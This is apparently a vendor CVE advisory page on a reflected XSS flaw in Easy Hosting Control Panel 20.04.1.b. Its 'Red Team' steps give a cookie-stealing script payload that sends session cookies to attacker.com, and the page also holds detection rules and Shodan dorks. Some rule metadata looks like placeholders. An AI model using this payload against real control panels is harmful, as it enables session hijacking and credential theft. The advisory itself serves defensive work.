☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-50858

CVE-2025-50858 Cross-Site Scripting in Easy hosting control panel
📅 PUBLISHED: 2025-08-22 00:00 UTC 🔄 UPDATED: 2026-08-12 09:04 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.08%
👁️
0.08% probability
2.0× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 20.04.1.b
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-50858 is a reflected Cross-Site Scripting (XSS) vulnerability in the Easy Hosting Control Panel (EHCP) version 20.04.1.b. The flaw exists in the "List MySQL Databases" function, where the action parameter is not properly sanitized. An authenticated attacker can inject arbitrary JavaScript code, which is then reflected back to the victim's browser. This can lead to session hijacking, credential theft, or further compromise of the control panel.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone web application vulnerability in the EHCP control panel.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (No official CVSS vector provided)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Authenticated user)
  • User Interaction: Required (Victim must click a crafted link)
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None
  • Threat Level: Medium (Authenticated XSS with potential for privilege escalation)

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS. The action parameter in the "List MySQL Databases" function is echoed back to the user without proper encoding or sanitization. An attacker can craft a URL like:

https://target.ehcp.com/list_mysql_databases.php?action=<script>alert('XSS')</script>

When an authenticated user clicks this link, the JavaScript executes in the context of the EHCP session. This allows the attacker to perform actions on behalf of the victim, such as creating new databases, modifying users, or exfiltrating session cookies.

Vulnerable vs. Patched Code

Vulnerable Code (EHCP 20.04.1.b):

<?php
$action = $_GET['action'];
echo "Action: " . $action;
?>

Patched Code (Hypothetical):

<?php
$action = htmlspecialchars($_GET['action'], ENT_QUOTES, 'UTF-8');
echo "Action: " . $action;
?>

The fix involves using htmlspecialchars() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

  1. Setup: Deploy EHCP 20.04.1.b in a controlled lab environment.
  2. Craft Payload: Create a malicious URL:
    http://target/list_mysql_databases.php?action=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  3. Deliver: Send the link to an authenticated user via email or social engineering.
  4. Exfiltrate: Set up a listener on attacker.com to capture cookies.

Blue Team

  1. Detection: Monitor for unusual action parameter values in web logs.
  2. Prevention: Implement a Web Application Firewall (WAF) rule to block <script> tags in the action parameter.
  3. Response: If an attack is detected, invalidate all active sessions and force password resets.

Indicators of Compromise (IOCs)

  • Network: HTTP requests to /list_mysql_databases.php with action parameter containing <script> tags.
  • Logs: Web server logs showing action=<script> patterns.
  • Endpoint: Browser console errors or unexpected JavaScript execution.

Detection Engineering

YARA Rule

rule CVE_2025_50858_XSS {
    meta:
        description = "Detects reflected XSS attempts against EHCP List MySQL Databases"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-50858"
    strings:
        $xss_payload = /action=.*<script[^>]*>.*<\/script>/i
    condition:
        $xss_payload
}

Sigma Rule

title: Reflected XSS in EHCP List MySQL Databases
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts against EHCP List MySQL Databases
author: Valters IT
date: 2025/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/list_mysql_databases.php?action='
        cs-uri-query|re: 'action=.*<script[^>]*>.*<\/script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in action parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-50858 Reflected XSS in EHCP List MySQL Databases"; flow:to_server,established; content:"/list_mysql_databases.php"; http_uri; content:"action="; http_uri; pcre:"/action=.*<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Apply input validation and output encoding to the action parameter.
  2. Short-term: Upgrade to a patched version of EHCP if available.
  3. Long-term: Implement a Content Security Policy (CSP) to mitigate XSS.
  4. Workaround: Use a WAF to block malicious payloads.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Easy Hosting Control Panel
EHCP 20.04.1.b

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-50858/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.